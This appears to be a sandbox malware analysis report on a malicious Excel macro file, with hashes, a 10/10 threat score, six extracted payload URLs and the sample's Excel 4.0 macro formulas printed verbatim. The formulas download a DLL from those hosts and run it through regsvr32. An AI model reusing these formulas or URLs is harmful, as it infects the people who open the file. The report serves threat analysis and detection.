General
-
Target
gothynde
-
Size
46KB
-
Sample
220522-f472asbbdk
-
MD5
c374c1930c957d0908f6a392a31d0f59
-
SHA1
49d8205d1e4303e1cda15abd62e6d09fa8f12a0d
-
SHA256
0e92cfd04405b8b597562761080285f19807c04c48c7278fe7632271ded41c3d
-
SHA512
773fb65efc5efbe9912bebc968ff5d6721f47c4660c6f675bfa59f1ddd20c8c5b144132917d65c4a5bde2afdc6de01a707119be6cf04ef223ff281ee3d79826e
Behavioral task
behavioral1
Sample
gothynde.xlsm
Resource
win7-20220414-en
Behavioral task
behavioral2
Sample
gothynde.xlsm
Resource
win10v2004-20220414-en
Malware Config
Extracted
http://eles-tech.com/css/KzMysMqFMs/
http://gonorthhalifax.com/wp-content/yTmYyLbTKZV2czsUO/
https://txpcrescue.com/cgi-bin/5tSO8/
http://hadramout21.com/jetpack-temp/Py/
http://haribuilders.com/zoombox-master/4HYGX/
http://hansen-arnal.com/cp/iiTrAeEtvOwmjjekWgI/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://eles-tech.com/css/KzMysMqFMs/","..\xewn.dll",0,0) =IF('PIMKE'!C14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://gonorthhalifax.com/wp-content/yTmYyLbTKZV2czsUO/","..\xewn.dll",0,0)) =IF('PIMKE'!C16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://txpcrescue.com/cgi-bin/5tSO8/","..\xewn.dll",0,0)) =IF('PIMKE'!C18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://hadramout21.com/jetpack-temp/Py/","..\xewn.dll",0,0)) =IF('PIMKE'!C20<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://haribuilders.com/zoombox-master/4HYGX/","..\xewn.dll",0,0)) =IF('PIMKE'!C22<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://hansen-arnal.com/cp/iiTrAeEtvOwmjjekWgI/","..\xewn.dll",0,0)) =IF('PIMKE'!C24<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\xewn.dll") =RETURN()
Extracted
http://eles-tech.com/css/KzMysMqFMs/
http://gonorthhalifax.com/wp-content/yTmYyLbTKZV2czsUO/
Extracted
http://eles-tech.com/css/KzMysMqFMs/
http://gonorthhalifax.com/wp-content/yTmYyLbTKZV2czsUO/
https://txpcrescue.com/cgi-bin/5tSO8/
Targets
-
-
Target
gothynde
-
Size
46KB
-
MD5
c374c1930c957d0908f6a392a31d0f59
-
SHA1
49d8205d1e4303e1cda15abd62e6d09fa8f12a0d
-
SHA256
0e92cfd04405b8b597562761080285f19807c04c48c7278fe7632271ded41c3d
-
SHA512
773fb65efc5efbe9912bebc968ff5d6721f47c4660c6f675bfa59f1ddd20c8c5b144132917d65c4a5bde2afdc6de01a707119be6cf04ef223ff281ee3d79826e
Score10/10-
Process spawned unexpected child process
This typically indicates the parent process was compromised via an exploit or macro.
-